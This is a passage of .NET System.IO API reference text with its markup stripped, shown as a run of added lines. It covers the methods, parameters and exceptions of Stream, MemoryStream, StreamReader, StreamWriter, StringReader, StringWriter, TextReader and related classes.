floating-point value to the current stream and advances the stream position by four bytes. + The four-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a length-prefixed string to this stream in the current encoding of the , and advances the current position of the stream in accordance with the encoding used and the specific characters being written to the stream. + The value to write. + An I/O error occurs. + + is null. + The stream is closed. + 1 + + + Writes a two-byte unsigned integer to the current stream and advances the stream position by two bytes. + The two-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte unsigned integer to the current stream and advances the stream position by four bytes. + The four-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte unsigned integer to the current stream and advances the stream position by eight bytes. + The eight-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a 32-bit integer in a compressed format. + The 32-bit integer to be written. + The end of the stream is reached. + The stream is closed. + The stream is closed. + + + The exception that is thrown when reading is attempted past the end of a stream. + 2 + + + Initializes a new instance of the class with its message string set to a system-supplied message and its HRESULT set to COR_E_ENDOFSTREAM. + + + Initializes a new instance of the class with its message string set to and its HRESULT set to COR_E_ENDOFSTREAM. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + + + Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + The exception that is thrown when a data stream is in an invalid format. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with a specified error message. + The error message that explains the reason for the exception. + + + Initializes a new instance of the class with a reference to the inner exception that is the cause of this exception. + The error message that explains the reason for the exception. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + Creates a stream whose backing store is memory.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class with an expandable capacity initialized to zero. + + + Initializes a new non-resizable instance of the class based on the specified byte array. + The array of unsigned bytes from which to create the current stream. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified byte array with the property set as specified. + The array of unsigned bytes from which to create this stream. + The setting of the property, which determines whether the stream supports writing. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified region (index) of a byte array. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + + is null. + + or is less than zero. + The buffer length minus is less than . + + + Initializes a new non-resizable instance of the class based on the specified region of a byte array, with the property set as specified. + The array of unsigned bytes from which to create this stream. + The index in at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + + is null. + + or are negative. + The buffer length minus is less than . + + + Initializes a new instance of the class based on the specified region of a byte array, with the property set as specified, and the ability to call set as specified. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + true to enable , which returns the unsigned byte array from which the stream was created; otherwise, false. + + is null. + + or is negative. + The buffer length minus is less than . + + + Initializes a new instance of the class with an expandable capacity initialized as specified. + The initial size of the internal array in bytes. + + is negative. + + + Gets a value indicating whether the current stream supports reading. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports seeking. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 2 + + + Gets or sets the number of bytes allocated for this stream. + The length of the usable portion of the buffer for the stream. + A capacity is set that is negative or less than the current length of the stream. + The current stream is closed. + set is invoked on a stream whose capacity cannot be modified. + 2 + + + Asynchronously reads all the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. + The token to monitor for cancellation requests. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Overrides the method so that no action is performed. + 2 + + + Asynchronously clears all buffers for this stream, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. + The stream has been disposed. + + + Gets the length of the stream in bytes. + The length of the stream in bytes. + The stream is closed. + 2 + + + Gets or sets the current position within the stream. + The current position within the stream. + The position is set to a negative value or a value greater than . + The stream is closed. + 2 + + + Reads a block of bytes from the current stream and writes the data to a buffer. + The total number of bytes written into the buffer. This can be less than the number of bytes requested if that number of bytes are not currently available, or zero if the end of the stream is reached before any bytes are read. + When this method returns, contains the specified byte array with the values between and ( + - 1) replaced by the characters read from the current stream. + The zero-based byte offset in at which to begin storing data from the current stream. + The maximum number of bytes to read. + + is null. + + or is negative. + + subtracted from the buffer length is less than . + The current stream instance is closed. + 2 + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the current stream. + The byte cast to a , or -1 if the end of the stream has been reached. + The current stream instance is closed. + 2 + + + Sets the position within the current stream to the specified value. + The new position within the stream, calculated by combining the initial reference point and the offset. + The new position within the stream. This is relative to the parameter, and can be positive or negative. + A value of type , which acts as the seek reference point. + Seeking is attempted before the beginning of the stream. + + is greater than . + There is an invalid . -or- caused an arithmetic overflow. + The current stream instance is closed. + 2 + + + Sets the length of the current stream to the specified value. + The value at which to set the length. + The current stream is not resizable and is larger than the current capacity.-or- The current stream does not support writing. + + is negative or is greater than the maximum length of the , where the maximum length is( - origin), and origin is the index into the underlying buffer at which the stream starts. + 2 + + + Writes the stream contents to a byte array, regardless of the property. + A new byte array. + 2 + + + Returns the array of unsigned bytes from which this stream was created. The return value indicates whether the conversion succeeded. + true if the conversion was successful; otherwise, false. + The byte array segment from which this stream was created. + + + Writes a block of bytes to the current stream using data read from a buffer. + The buffer to write data from. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The maximum number of bytes to write. + + is null. + The stream does not support writing. For additional information see .-or- The current position is closer than bytes to the end of the stream, and the capacity cannot be modified. + + subtracted from the buffer length is less than . + + or are negative. + An I/O error occurs. + The current stream instance is closed. + 2 + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current stream at the current position. + The byte to write. + The stream does not support writing. For additional information see .-or- The current position is at the end of the stream, and the capacity cannot be modified. + The current stream is closed. + 2 + + + Writes the entire contents of this memory stream to another stream. + The stream to write this memory stream to. + + is null. + The current or target stream is closed. + 2 + + + Specifies the position in a stream to use for seeking. + 2 + + + Specifies the beginning of a stream. + + + Specifies the current position within a stream. + + + Specifies the end of a stream. + + + Provides a generic view of a sequence of bytes. This is an abstract class.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class. + + + When overridden in a derived class, gets a value indicating whether the current stream supports reading. + true if the stream supports reading; otherwise, false. + 1 + + + When overridden in a derived class, gets a value indicating whether the current stream supports seeking. + true if the stream supports seeking; otherwise, false. + 1 + + + Gets a value that determines whether the current stream can time out. + A value that determines whether the current stream can time out. + 2 + + + When overridden in a derived class, gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 1 + + + Reads the bytes from the current stream and writes them to another stream. + The stream to which the contents of the current stream will be copied. + + is null. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + The stream to which the contents of the current stream will be copied. + The size of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Asynchronously reads the bytes from the current stream and writes them to another stream. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + + is null. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + The token to monitor for cancellation requests. The default value is . + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases all resources used by the . + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, clears all buffers for this stream and causes any buffered data to be written to the underlying device. + An I/O error occurs. + 2 + + + Asynchronously clears all buffers for this stream and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Asynchronously clears all buffers for this stream, causes any buffered data to be written to the underlying device, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. The default value is . + The stream has been disposed. + + + When overridden in a derived class, gets the length in bytes of the stream. + A long value representing the length of the stream in bytes. + A class derived from Stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + A Stream with no backing store. + 1 + + + When overridden in a derived class, gets or sets the position within the current stream. + The current position within the stream. + An I/O error occurs. + The stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not currently available, or zero (0) if the end of the stream has been reached. + An array of bytes. When this method returns, the buffer contains the specified byte array with the values between and ( + - 1) replaced by the bytes read from the current source. + The zero-based byte offset in at which to begin storing the data read from the current stream. + The maximum number of bytes to be read from the current stream. + The sum of and is larger than the buffer length. + + is null. + + or is negative. + An I/O error occurs. + The stream does not support reading. + Methods were called after the stream was closed. + 1 + + + Asynchronously reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the stream and advances the position within the stream by one byte, or returns -1 if at the end of the stream. + The unsigned byte cast to an Int32, or -1 if at the end of the stream. + The stream does not support reading. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to read before timing out. + A value, in miliseconds, that determines how long the stream will attempt to read before timing out. + The method always throws an . + 2 + + + When overridden in a derived class, sets the position within the current stream. + The new position within the current stream. + A byte offset relative to the parameter. + A value of type indicating the reference point used to obtain the new position. + An I/O error occurs. + The stream does not support seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, sets the length of the current stream. + The desired length of the current stream in bytes. + An I/O error occurs. + The stream does not support both writing and seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 2 + + + When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + An array of bytes. This method copies bytes from to the current stream. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The number of bytes to be written to the current stream. + The sum of  and  is greater than the buffer length. + + is null. + + or  is negative. + An I/O error occured, such as the specified file cannot be found. + The stream does not support writing. + + was called after the stream was closed. + 1 + + + Asynchronously writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current position in the stream and advances the position within the stream by one byte. + The byte to write to the stream. + An I/O error occurs. + The stream does not support writing, or the stream is already closed. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to write before timing out. + A value, in miliseconds, that determines how long the stream will attempt to write before timing out. + The method always throws an . + 2 + + + Implements a that reads characters from a byte stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream. + The stream to be read. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified byte order mark detection option. + The stream to be read. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding. + The stream to be read. + The character encoding to use. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding and byte order mark detection option. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding, byte order mark detection option, and buffer size. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + The minimum buffer size. + The stream does not support reading. + + or is null. + + is less than or equal to zero. + + + Initializes a new instance of the class for the specified stream based on the specified character encoding, byte order mark detection option, and buffer size, and optionally leaves the stream open. + The stream to read. + The character encoding to use. + true to look for byte order marks at the beginning of the file; otherwise, false. + The minimum buffer size. + true to leave the stream open after the object is disposed; otherwise, false. + + + Returns the underlying stream. + The underlying stream. + 2 + + + Gets the current character encoding that the current object is using. + The current character encoding used by the current reader. The value can be different after the first call to any method of , since encoding autodetection is not done until the first call to a method. + 2 + + + Clears the internal buffer. + 2 + + + Closes the underlying stream, releases the unmanaged resources used by the , and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets a value that indicates whether the current stream position is at the end of the stream. + true if the current stream position is at the end of the stream; otherwise false. + The underlying stream has been disposed. + 1 + + + A object around an empty stream. + 1 + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if there are no characters to be read or if the stream does not support seeking. + An I/O error occurs. + 1 + + + Reads the next character from the input stream and advances the character position by one character. + The next character from the input stream represented as an object, or -1 if no more characters are available. + An I/O error occurs. + 1 + + + Reads a specified maximum of characters from the current stream into a buffer, beginning at the specified index. + The number of characters that have been read, or 0 if at the end of the stream and no data was read. The number will be less than or equal to the parameter, depending on whether the data is available within the stream. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The index of at which to begin writing. + The maximum number of characters to read. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs, such as the stream is closed. + 1 + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current stream and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurred. + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current stream and returns the data as a string. + The next line from the input stream, or null if the end of the input stream is reached. + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads a line of characters asynchronously from the current stream and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the stream, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the stream. + The rest of the stream as a string, from the current position to the end. If the current position is at the end of the stream, returns an empty string (""). + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads all characters from the current position to the end of the stream asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the stream. + The number of characters is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing characters to a stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream by using UTF-8 encoding and the default buffer size. + The stream to write to. + + is not writable. + + is null. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and the default buffer size. + The stream to write to. + The character encoding to use. + + or is null. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + + or is null. + + is negative. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size, and optionally leaves the stream open. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + true to leave the stream open after the object is disposed; otherwise, false. + + or is null. + + is negative. + + is not writable. + + + Gets or sets a value indicating whether the will flush its buffer to the underlying stream after every call to . + true to force to flush its buffer; otherwise, false. + 1 + + + Gets the underlying stream that interfaces with a backing store. + The stream this StreamWriter is writing to. + 2 + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + The current encoding does not support displaying half of a Unicode surrogate pair. + + + Gets the in which the output is written. + The specified in the constructor for the current instance, or if an encoding was not specified. + 2 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying stream. + The current writer is closed. + An I/O error has occurred. + The current encoding does not support displaying half of a Unicode surrogate pair. + 1 + + + Clears all buffers for this stream asynchronously and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Provides a StreamWriter with no backing store that can be written to, but not read from. + 1 + + + Writes a character to the stream. + The character to write to the stream. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a character array to the stream. + A character array containing the data to write. If is null, nothing is written. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a subarray of characters to the stream. + A character array that contains the data to write. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The buffer length minus is less than . + + or is negative. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a string to the stream. + The string to write to the stream. If is null, nothing is written. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + An I/O error occurs. + 1 + + + Writes a character to the stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the stream asynchronously. + A task that represents the asynchronous write operation. + A character array that contains the data to write. + The character position in the buffer at which to begin reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string to the stream asynchronously. + A task that represents the asynchronous write operation. + The string to write to the stream. If is null, nothing is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Implements a that reads from a string. + 2 + + + Initializes a new instance of the class that reads from the specified string. + The string to which the should be initialized. + The parameter is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + The current reader is closed. + 2 + + + Reads the next character from the input string and advances the character position by one character. + The next character from the underlying string, or -1 if no more characters are available. + The current reader is closed. + 2 + + + Reads a block of characters from the input string and advances the character position by . + The total number of characters read into the buffer. This can be less than the number of characters requested if that many characters are not currently available, or zero if the end of the underlying string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The starting index in the buffer. + The number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The current reader is closed. + 2 + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current string and returns the data as a string. + The next line from the current string, or null if the end of the string is reached. + The current reader is closed. + There is insufficient memory to allocate a buffer for the returned string. + 2 + + + Reads a line of characters asynchronously from the current string and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the string reader, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the string and returns them as a single string. + The content from the current position to the end of the underlying string. + There is insufficient memory to allocate a buffer for the returned string. + The current reader is closed. + 2 + + + Reads all characters from the current position to the end of the string asynchronously and returns them as a single string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the string. + The number of characters is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing information to a string. The information is stored in an underlying . + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format control. + An object that controls formatting. + + + Initializes a new instance of the class that writes to the specified . + The StringBuilder to write to. + + is null. + + + Initializes a new instance of the class that writes to the specified and has the specified format provider. + The StringBuilder to write to. + An object that controls formatting. + + is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets the in which the output is written. + The Encoding in which the output is written. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + + + Returns the underlying . + The underlying StringBuilder. + 2 + + + Returns a string containing the characters written to the current StringWriter so far. + The string containing the characters written to the current StringWriter. + 2 + + + Writes a character to the string. + The character to write. + The writer is closed. + 2 + + + Writes a subarray of characters to the string. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + + or is negative. + ( + )> . Length. + The writer is closed. + 2 + + + Writes a string to the current string. + The string to write. + The writer is closed. + 2 + + + Writes a character to the string asynchronously. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the string asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string to the current string asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the current string. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Represents a reader that can read a sequential series of characters. + 2 + + + Initializes a new instance of the class. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Provides a TextReader with no data to read from. + 1 + + + Reads the next character without changing the state of the reader or the character source. Returns the next available character without actually reading it from the reader. + An integer representing the next character to be read, or -1 if no more characters are available or the reader does not support seeking. + The is closed. + An I/O error occurs. + 1 + + + Reads the next character from the text reader and advances the character position by one character. + The next character from the text reader, or -1 if no more characters are available. The default implementation returns -1. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether the data is available within the reader. This method returns 0 (zero) if it is called when no more characters are left to read. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the reader is reached before the specified number of characters is read into the buffer, the method returns. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current text reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, this parameter contains the specified character array with the values between and ( + -1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 2 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of 